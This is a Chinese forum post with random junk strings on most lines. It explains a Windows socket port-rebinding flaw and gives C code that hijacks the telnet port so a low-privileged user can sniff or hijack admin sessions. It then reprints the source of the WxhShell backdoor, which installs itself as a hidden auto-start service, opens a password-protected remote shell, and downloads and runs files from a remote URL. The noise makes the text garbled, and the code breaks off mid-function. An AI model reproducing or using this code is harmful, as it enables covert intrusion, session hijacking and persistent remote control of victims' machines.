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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dtV7YPz4+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ClPE_Cfw~  
CRNt5T>qH  
  saddr.sin_family = AF_INET; I(/*pa?m{  
diKl}V#u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8\?H`NN  
wkJ@#jD*[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ? a/\5`gnN  
LGYg@DR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 eK\i={va  
^=gN >xP  
  这意味着什么?意味着可以进行如下的攻击: _]0<G8|Rv  
2frwU~y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !bn=b>+  
@$~;vS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9!dG Xq  
S++jwP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;2gO(  
-O $!sFmY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A5s;<d0  
iBY16_q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2=VFUR 8  
; 2aPhA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `"#hhKG  
GgtYO4,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n3\~H9  
wF*9%K'E  
  #include UhU"[^YO  
  #include EO/41O  
  #include fBBtS S  
  #include    ZdT-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NjO_Y t  
  int main() 9LSV^[QUH  
  { Z~;rp`P  
  WORD wVersionRequested; dleCh+ny?  
  DWORD ret; fY|[YPGO^  
  WSADATA wsaData; sH%Ts@Pl  
  BOOL val; Qs<L$"L1  
  SOCKADDR_IN saddr; TRE D_6  
  SOCKADDR_IN scaddr; u Vo"_c w  
  int err; Q5Epq sKyC  
  SOCKET s; ]\/"-Y#4Q  
  SOCKET sc; $gCN[%+j  
  int caddsize; \0FwxsL  
  HANDLE mt; ]VS:5kOj`  
  DWORD tid;   w8`B}Dr23  
  wVersionRequested = MAKEWORD( 2, 2 ); D&OskM60  
  err = WSAStartup( wVersionRequested, &wsaData ); UUGX@  
  if ( err != 0 ) { m\MI 6/  
  printf("error!WSAStartup failed!\n");  +&<k}Mz  
  return -1; 00yWk_w  
  } fk\]wFj  
  saddr.sin_family = AF_INET; ~ ^fb`f+%  
   tY#Zl 54~{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Th$xk9TK^@  
O.{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); eWr6@  
  saddr.sin_port = htons(23); VeOM `jy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G7r.Jm^q  
  { C)QKodI  
  printf("error!socket failed!\n"); C(M?$s`  
  return -1; f6{.Uq%SGp  
  } uI I! ?   
  val = TRUE; Uz%ynH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g@Rs.Zq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a;\a>N4  
  { 59~mr:*sF  
  printf("error!setsockopt failed!\n"); Y&bO[(>1  
  return -1; 8fK/0u^`d  
  } 0-/@-qV\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }]^/`n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LZQG.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t[MM=6|Wb  
~(:0&w%e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w}e_ 17A  
  { /[n]t  
  ret=GetLastError(); l8e)|MSh  
  printf("error!bind failed!\n"); o'8%5 M@  
  return -1; &kT!GU^n  
  } q#\B}'I{  
  listen(s,2); +Eel|)Z*Q  
  while(1) ;j+*}|!  
  { tTh4L8fO  
  caddsize = sizeof(scaddr); [Mj5o<k;I  
  //接受连接请求 hf;S#.k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ({D>(xN   
  if(sc!=INVALID_SOCKET) ZvK.X*~s  
  { fUZCP*7>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Dn#UcMO>W  
  if(mt==NULL) b`f6(6  
  { O'QnfpQ*9  
  printf("Thread Creat Failed!\n"); !sYZ1;WAO  
  break; 7p>T6jK)  
  } ]cW Q9  
  } RJ{J~-q{  
  CloseHandle(mt); I.`D BI#-f  
  } !(3[z>  
  closesocket(s); q Oa*JA`  
  WSACleanup(); dTte4lh  
  return 0; LLoV]~dvUu  
  }   ~RZN+N  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6z'0fi|EN  
  { -lXQQ#V -  
  SOCKET ss = (SOCKET)lpParam; q ;_?e_  
  SOCKET sc; f 0~Z@\  
  unsigned char buf[4096]; u#Bj#y!  
  SOCKADDR_IN saddr; e)3Mg^  
  long num; G;U SVF-'K  
  DWORD val; k0TQFx.A  
  DWORD ret; -iFFXESVX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Cv p#=x0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $>Ow<! c  
  saddr.sin_family = AF_INET; 1&Ma`M('  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tCGA3t  
  saddr.sin_port = htons(23); jaMpi^C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mxe\+j#  
  { 579 t^"ja~  
  printf("error!socket failed!\n"); lLK||2d  
  return -1; -w'g0/fD  
  } R@`xS<`L/  
  val = 100; $}EARW9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ki%)LQAg  
  { ~4c,'k@  
  ret = GetLastError(); C;9P6^Oz  
  return -1; ]{I>HA5[  
  } ^E%NYq_2l<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?q0a^c?A^  
  { |C,]-mJG  
  ret = GetLastError(); ZvK3Su)f1  
  return -1; D>`{f4Y  
  } C[+?gQJ[9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mXsSOAD<  
  { /Wdrpv-%,1  
  printf("error!socket connect failed!\n"); {yi!vw  
  closesocket(sc); er>{#8 P  
  closesocket(ss); '8I=Tn  
  return -1; y;O 6q206  
  } BL%&n*&  
  while(1) h,]lN'JG{  
  { .R S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r8A'8g4cM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9N|JI3*41  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e0#{'_C  
  num = recv(ss,buf,4096,0); B E#pHg  
  if(num>0) P#;pQC  
  send(sc,buf,num,0); /N@NT/.M<  
  else if(num==0) 77 ?TRC  
  break; H 'nLC,  
  num = recv(sc,buf,4096,0); Ysi@wK-LnF  
  if(num>0) [y<s]C6E  
  send(ss,buf,num,0); M2.*]AL  
  else if(num==0) %H}M[_f  
  break; w}29#F\]R  
  } i_I`  
  closesocket(ss); %,d+jBM  
  closesocket(sc); `"$9L[>  
  return 0 ; :rvBx"  
  } T8j<\0WW  
9s*UJIL  
LI"N^K'z  
========================================================== TI8E W  
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下边附上一个代码,,WXhSHELL )P.,h&h/  
cr^R9dv  
========================================================== (c[DQSj  
4XeO^#  
#include "stdafx.h" ?X7nM)  
Zj nWbnW  
#include <stdio.h> (k%r_O6  
#include <string.h> zaE!=-U  
#include <windows.h> g G|4+' t  
#include <winsock2.h> AUl[h&s  
#include <winsvc.h> e"2x!(&n(  
#include <urlmon.h> 1DF8-|+  
=e6!U5 f  
#pragma comment (lib, "Ws2_32.lib") Lf8{']3  
#pragma comment (lib, "urlmon.lib") >SD?MW 1E  
< -Ax)zE  
#define MAX_USER   100 // 最大客户端连接数 #Vm)wH3  
#define BUF_SOCK   200 // sock buffer X`I=Z ysB  
#define KEY_BUFF   255 // 输入 buffer #;'*W$Wk2  
JJP!9<  
#define REBOOT     0   // 重启 qmnW  
#define SHUTDOWN   1   // 关机 r \} O{ZO  
UD5f+,_;  
#define DEF_PORT   5000 // 监听端口 J!zL)u|  
 1oG'm  
#define REG_LEN     16   // 注册表键长度 _%aT3C}k  
#define SVC_LEN     80   // NT服务名长度 e#?rK=C?9  
5)M#hx%]#  
// 从dll定义API L!2Ef4,wAz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1qwJPM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M5]$w]Ny9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qp]s VY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '_xa>T}  
]T>YYz  
// wxhshell配置信息  /?6  
struct WSCFG { S,C/l1s  
  int ws_port;         // 监听端口 w)gMJX/0yw  
  char ws_passstr[REG_LEN]; // 口令 cHwN=mg]S  
  int ws_autoins;       // 安装标记, 1=yes 0=no JRw)~Tg @  
  char ws_regname[REG_LEN]; // 注册表键名 LeMo")dk\  
  char ws_svcname[REG_LEN]; // 服务名 RD*.n1N1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bj 0-72V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p2 m`pT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mmEe@-lE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o31pF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "=9)|{=m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b"~Ct}6f  
jiLt *>I  
}; @]%c UjQ  
P/dT;YhL  
// default Wxhshell configuration Il<ezD{  
struct WSCFG wscfg={DEF_PORT, R6G%_,p$7  
    "xuhuanlingzhe", kL%o9=R1  
    1, qBWt(jY  
    "Wxhshell", )<%IY&\  
    "Wxhshell", a]R1Fi0n  
            "WxhShell Service", z)p p{  
    "Wrsky Windows CmdShell Service", s|C4Jy_  
    "Please Input Your Password: ", j}$Q`7-wB1  
  1, x% Eu.jj  
  "http://www.wrsky.com/wxhshell.exe", B,ZLX/c9  
  "Wxhshell.exe" M'ZA(LVp  
    }; 5> =Ia@I   
gz"I=9  
// 消息定义模块 |",/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 62J -)~_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8'Bik  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l":Z. J  
char *msg_ws_ext="\n\rExit."; Pb@9<NXm'  
char *msg_ws_end="\n\rQuit."; &V7{J9  
char *msg_ws_boot="\n\rReboot..."; JUC62s#_z  
char *msg_ws_poff="\n\rShutdown..."; P 4jg]g  
char *msg_ws_down="\n\rSave to "; :jljM(\  
-$_h]x* W  
char *msg_ws_err="\n\rErr!"; 4krK CD>|G  
char *msg_ws_ok="\n\rOK!"; KdkZ-.  
qi-!iT(fe  
char ExeFile[MAX_PATH]; ,;-55|o\V  
int nUser = 0; 5oE!^bF?  
HANDLE handles[MAX_USER]; %$I@7Es>  
int OsIsNt; -OV!56&  
GOhGSV#  
SERVICE_STATUS       serviceStatus; H-1y2AQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [#6Eax,j  
66l$}+|Zzc  
// 函数声明 K~Hp%.  
int Install(void); vFGFFA/K}N  
int Uninstall(void); fu?Y'Qet  
int DownloadFile(char *sURL, SOCKET wsh); dD0:K3@  
int Boot(int flag); Jri"Toz0  
void HideProc(void); ] 6rr;S  
int GetOsVer(void); q!+m, !M  
int Wxhshell(SOCKET wsl); !|gln)|A  
void TalkWithClient(void *cs); L|[ 0&u!  
int CmdShell(SOCKET sock); OTe0[p6v  
int StartFromService(void); 6?v)Hb}J%d  
int StartWxhshell(LPSTR lpCmdLine); _e3kO6X  
@.Pe.\Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8P'zQ:#RV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z6I^HG{:  
+iYy^oXxw  
// 数据结构和表定义 e$+?l~  
SERVICE_TABLE_ENTRY DispatchTable[] = &jHnM^nQ  
{ G&/RJLX|w  
{wscfg.ws_svcname, NTServiceMain}, 2nGQD{  
{NULL, NULL} U^$o< 2  
}; 1]uHaI(  
T};fy+iq  
// 自我安装  #{8n<sE  
int Install(void) ;8 D31OT  
{ 8UyYN$7V  
  char svExeFile[MAX_PATH]; h)qapC5z,  
  HKEY key; x !o>zT\  
  strcpy(svExeFile,ExeFile); Gmi$Nl!~  
b^Xq(q>5  
// 如果是win9x系统,修改注册表设为自启动 C 4 &1M  
if(!OsIsNt) { jJF(*D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qh)o44/ $  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dog Tj  
  RegCloseKey(key); x xh(VQdg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SBY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nn],sEs  
  RegCloseKey(key); \y9( b  
  return 0; e!67Na0X(  
    } N!}r(Dd*  
  } \?_eQKiZ3  
} nZbfc;da  
else { G:e 9}  
r1= :B'z  
// 如果是NT以上系统,安装为系统服务 IZV D.1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4$oX,Q`#  
if (schSCManager!=0) h4 s!VK1X  
{ "+2Hde1  
  SC_HANDLE schService = CreateService ptXLWv`  
  ( U!L<v!$  
  schSCManager, ?th`5K30  
  wscfg.ws_svcname, !'()QtvC<  
  wscfg.ws_svcdisp, _-^Lr /`G!  
  SERVICE_ALL_ACCESS, VQ/<MY C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p2;-*D  
  SERVICE_AUTO_START, {BBL`tg60  
  SERVICE_ERROR_NORMAL, fT-yY`  
  svExeFile, n"'1.  
  NULL, *5bKJgwJ  
  NULL, R!i9N'gGG(  
  NULL, /XG4O  
  NULL, ]e?cKC\"e  
  NULL ceDe!Iu  
  );  opK=Z  
  if (schService!=0) + j._NRXRH  
  { aO9a G*9T  
  CloseServiceHandle(schService); t'bzhPQO)f  
  CloseServiceHandle(schSCManager); GVT+c@Gx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]~:9b[G2  
  strcat(svExeFile,wscfg.ws_svcname); 7tgn"wK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z_oBZs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5+<<:5_6l  
  RegCloseKey(key); ssv4#8p3  
  return 0; -v*wT*I1  
    } Y4Hi<JWo  
  } ;Jex#+H(:D  
  CloseServiceHandle(schSCManager); >qjQ;z[  
} K4Mv\!Q<8  
} xyK_1n@b  
$*ujX,}xG  
return 1; %a;N)1/  
} K8{Ub  
s)dN.'5/  
// 自我卸载 Y4]USU!PA  
int Uninstall(void) ENwDW#U9  
{ /xmUu0H$R  
  HKEY key; ~U+SK4SK:o  
w:l/B '%]Y  
if(!OsIsNt) { VY)!bjW.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5UE5;yo  
  RegDeleteValue(key,wscfg.ws_regname); \8%64ZL`  
  RegCloseKey(key); JHpaDy*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q(0V#kKC  
  RegDeleteValue(key,wscfg.ws_regname); u 9Wi@sO#  
  RegCloseKey(key); Fv \yhR  
  return 0; 9H~3&-8&  
  } )BR6?C3  
} >'4Bq*5>  
} lg_X|yhL  
else { tSK{Abw1B  
f!;4 -.p`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^&iUC&8W  
if (schSCManager!=0) : E `N0UA  
{ DN)Ehd.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HCHZB*r[  
  if (schService!=0) = 8F/]8_  
  { 5a1)`2V2M  
  if(DeleteService(schService)!=0) { KD9Y  
  CloseServiceHandle(schService); -`FPR4;  
  CloseServiceHandle(schSCManager); 6 <JiHVP7  
  return 0; \(Uw.ri  
  } HMbF#!E  
  CloseServiceHandle(schService); F%!ZHE7  
  } 5#+G7 'k  
  CloseServiceHandle(schSCManager); `RUOZ@r  
} x{IxS?.j+  
} kIS_ 6!  
_idTsd:\  
return 1; au'Zjj/Ai5  
} Nq|b$S[4  
NLHF3h=?1p  
// 从指定url下载文件 .b*%c?e  
int DownloadFile(char *sURL, SOCKET wsh) 8KKI.i8`  
{ V=}AFGC85  
  HRESULT hr; $i&u\iL  
char seps[]= "/"; Y>*{(QD  
char *token; fI@4 v\  
char *file; %;+Q0 e9  
char myURL[MAX_PATH]; /7Z;/|oU  
char myFILE[MAX_PATH]; yD|He*$S  
1Ao YG_  
strcpy(myURL,sURL); y'ULhDgq^B  
  token=strtok(myURL,seps); rJ)O(  
  while(token!=NULL) ;C,D1_20Z  
  { z>$AZ>t%J$  
    file=token; 1:S75~b-`  
  token=strtok(NULL,seps); <4Z;a2l}U  
  } U  JO  
FV|/o%XqK  
GetCurrentDirectory(MAX_PATH,myFILE); 71i".1l{K  
strcat(myFILE, "\\"); 9l9h*P gt  
strcat(myFILE, file); I9GRSm;0<  
  send(wsh,myFILE,strlen(myFILE),0); |` gSkv  
send(wsh,"...",3,0); >, 22@4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vCE1R]^A.]  
  if(hr==S_OK) :_F$e  
return 0; `[vm{+i  
else QF 2Eg  
return 1; u\gPx4]4c  
@&!HMl  
} /L,VZ?CmtK  
NYb eIfL  
// 系统电源模块 KCG-&p$v@s  
int Boot(int flag) TqURYnNd  
{ f(Jz*el S  
  HANDLE hToken; 8':^tMd  
  TOKEN_PRIVILEGES tkp; h?H:r <  
,#Y>nP0  
  if(OsIsNt) { m}Z=m8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KrNu7/H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 67zCil  
    tkp.PrivilegeCount = 1; Dk&@AjJga  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H%c:f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IN2FO/Y@  
if(flag==REBOOT) { Aa^%_5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x5/O.5>f  
  return 0; 'yG9Rt  
} 6BT o%  
else { !9+xKr99  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -ZXC^zt  
  return 0; 5x";}Vp>P  
}  'Q\I@s }  
  } rOC2 S(m  
  else { ~Xa8\>  
if(flag==REBOOT) { $@y<.?k>UP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e)I-|Q4^%  
  return 0; uH'n.d"WG  
} IyvJwrO  
else { gp Aqz Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7Ddo ^Gtx  
  return 0; FOz7W  
} R~nbJx$  
} uZ}=x3B  
"PO>@tY  
return 1; WVPnyVDc  
} .6I*=qv)NA  
cfn\De%.  
// win9x进程隐藏模块 z:C VzK,  
void HideProc(void) 58FjzW  
{ Qs(WyP#  
>cm*_26;I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^_dYE]t  
  if ( hKernel != NULL ) ,1-n=eTQ  
  { 4c"x&x|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V[&4Km9C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rp*f)rJ  
    FreeLibrary(hKernel); b65V*Vbj  
  } NY.Y=CF("  
R7xKVS_MP  
return; _&0_@  
} G,+-}~$_  
e))fbv&V  
// 获取操作系统版本 \nQV{J  
int GetOsVer(void) Oy>u/g~  
{ }cDw9;~D  
  OSVERSIONINFO winfo; |)4Fe/!cJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !?t#QD o  
  GetVersionEx(&winfo); 3N8RZt1.b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zd1X(e<|{  
  return 1; !)1r{u  
  else bB01aiUw@l  
  return 0; Jb. V4  
} G$b*N4yR  
rkw^RW^  
// 客户端句柄模块 u,]?_bK)  
int Wxhshell(SOCKET wsl) !/pE6)a  
{ X%ii z  
  SOCKET wsh; S!*wK-  
  struct sockaddr_in client; <PCa37  
  DWORD myID; D[d+lq#p  
k%UE^  
  while(nUser<MAX_USER) 19.+"H  
{ TFrZ+CcWp2  
  int nSize=sizeof(client); rGPFPsMQ]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Tk(ciwB  
  if(wsh==INVALID_SOCKET) return 1; 1Yj^N" =  
\F_~?$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~zEBJgeyh  
if(handles[nUser]==0) &p/ ^A[  
  closesocket(wsh); 9 F"2$;  
else {rp5qgVE<  
  nUser++; zT;F4_p3G-  
  } 2<18j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z)z_]c-X+  
Yv="oG!xL  
  return 0; !3]}3jZ.  
} kB41{Y -  
IhIPy~Hgt  
// 关闭 socket ?OW!zE:  
void CloseIt(SOCKET wsh) u19 d!#g  
{ B]):$#{Rxl  
closesocket(wsh); rlQ4+~  
nUser--; $JH_  
ExitThread(0); ;xp^F KP  
} sA( e  
-Xm/sq(i)%  
// 客户端请求句柄 }jF67c->  
void TalkWithClient(void *cs) MiB"CcU  
{ X?p.U  
9d4Agj M  
  SOCKET wsh=(SOCKET)cs; 5W UM"eBwL  
  char pwd[SVC_LEN]; q-3,p.  
  char cmd[KEY_BUFF]; FH"u9ygF  
char chr[1]; OQ,KQ\  
int i,j; UOi[#L@N  
\YV`M3O  
  while (nUser < MAX_USER) { e MX?x7  
=#tQhg,_  
if(wscfg.ws_passstr) { lwY2zX&%)/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HY (|31  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )0RznFJ+X  
  //ZeroMemory(pwd,KEY_BUFF); Us5P?}  
      i=0; P5vxQR_*lc  
  while(i<SVC_LEN) { 2aROY2  
K'Gv+UC*6  
  // 设置超时 Het5{Yb.  
  fd_set FdRead; znNJ?  
  struct timeval TimeOut; ]!v:xjzT  
  FD_ZERO(&FdRead); "JHd F&  
  FD_SET(wsh,&FdRead);  BKiyog  
  TimeOut.tv_sec=8; _{d0Nm  
  TimeOut.tv_usec=0; /hNZ7\|P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x)+3SdH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _[eAA4h  
s]tBd !~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Xq4QR .  
  pwd=chr[0]; H)eecH$K  
  if(chr[0]==0xd || chr[0]==0xa) { 8IX:XDEQ  
  pwd=0; ;QRnZqSv  
  break; 9_~[  
  } `i'72\(  
  i++; y;M}I8W[  
    } tH7@oV;  
tEj-c@`"x-  
  // 如果是非法用户,关闭 socket @Ido6Z7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~M>EB6  
} '+@q  
8$c_M   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |oYqkP|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J\WUBt-M  
9:JFG{M  
while(1) { Z= 'DV1A$,  
M/O4JZEqh  
  ZeroMemory(cmd,KEY_BUFF); ZSB_OS[N  
"kYzgi  
      // 自动支持客户端 telnet标准   \.@fAgv  
  j=0; __F?iRrCM  
  while(j<KEY_BUFF) { PT`];C(he  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7W{xK'|]  
  cmd[j]=chr[0]; u]D>O$_ s  
  if(chr[0]==0xa || chr[0]==0xd) { fmDn1N-bG  
  cmd[j]=0; }qqE2;{ND  
  break; 'aq9]D_k  
  } l'~~hQ{h/  
  j++; \0{g~cU4  
    } F5*NK!U  
FuA8vTV{  
  // 下载文件 *%{  
  if(strstr(cmd,"http://")) { -G!W6$Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $?Et sf#*'  
  if(DownloadFile(cmd,wsh)) =p1aF/1$I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Mi] !b|8  
  else aMUy^>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =LFrV9  
  } * KDT0;/s  
  else { FN25,Q8:*I  
J?Ed^B-  
    switch(cmd[0]) { JTK0#+?  
  e)(m0m\  
  // 帮助 YTQom!O  
  case '?': { %XpYiW#AK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0+i\j`O&  
    break; -w0U }Te^  
  } gypE~@  
  // 安装 :X?bWxOJ  
  case 'i': { l7.W2mg  
    if(Install()) &#AK#`&)0i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K2W$I H:.  
    else Ap{2*o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d%"?^e  
    break; #4?(A[]>H  
    } z_Nw%V4kr  
  // 卸载 UUzu`>upB  
  case 'r': { R)%1GG4  
    if(Uninstall()) YivWvV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *jBn ^  
    else nA!Xb'y&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :4{;^|RgU  
    break; +<^TyIJ0  
    } + lha=  
  // 显示 wxhshell 所在路径 c:a5pd7T  
  case 'p': { 7c:5 Ey  
    char svExeFile[MAX_PATH]; !PaDq+fB  
    strcpy(svExeFile,"\n\r"); mXX9Aa>  
      strcat(svExeFile,ExeFile); m4U7{sE  
        send(wsh,svExeFile,strlen(svExeFile),0); *kI1NchF  
    break; N|pyp*8Z  
    } Kg#5 @;  
  // 重启 5`ma#_zk|f  
  case 'b': { QQd%V#M?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1I'ep\`"X  
    if(Boot(REBOOT)) /1Xji 0LK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <lx~/3<m  
    else { qU'O4TWZ  
    closesocket(wsh); \X'{ ee  
    ExitThread(0); \2rCT~x  
    } 7R$]BY=  
    break; uq}>5  
    } dM A"% R  
  // 关机 { .z6J)?J2  
  case 'd': { $ }u,uI  
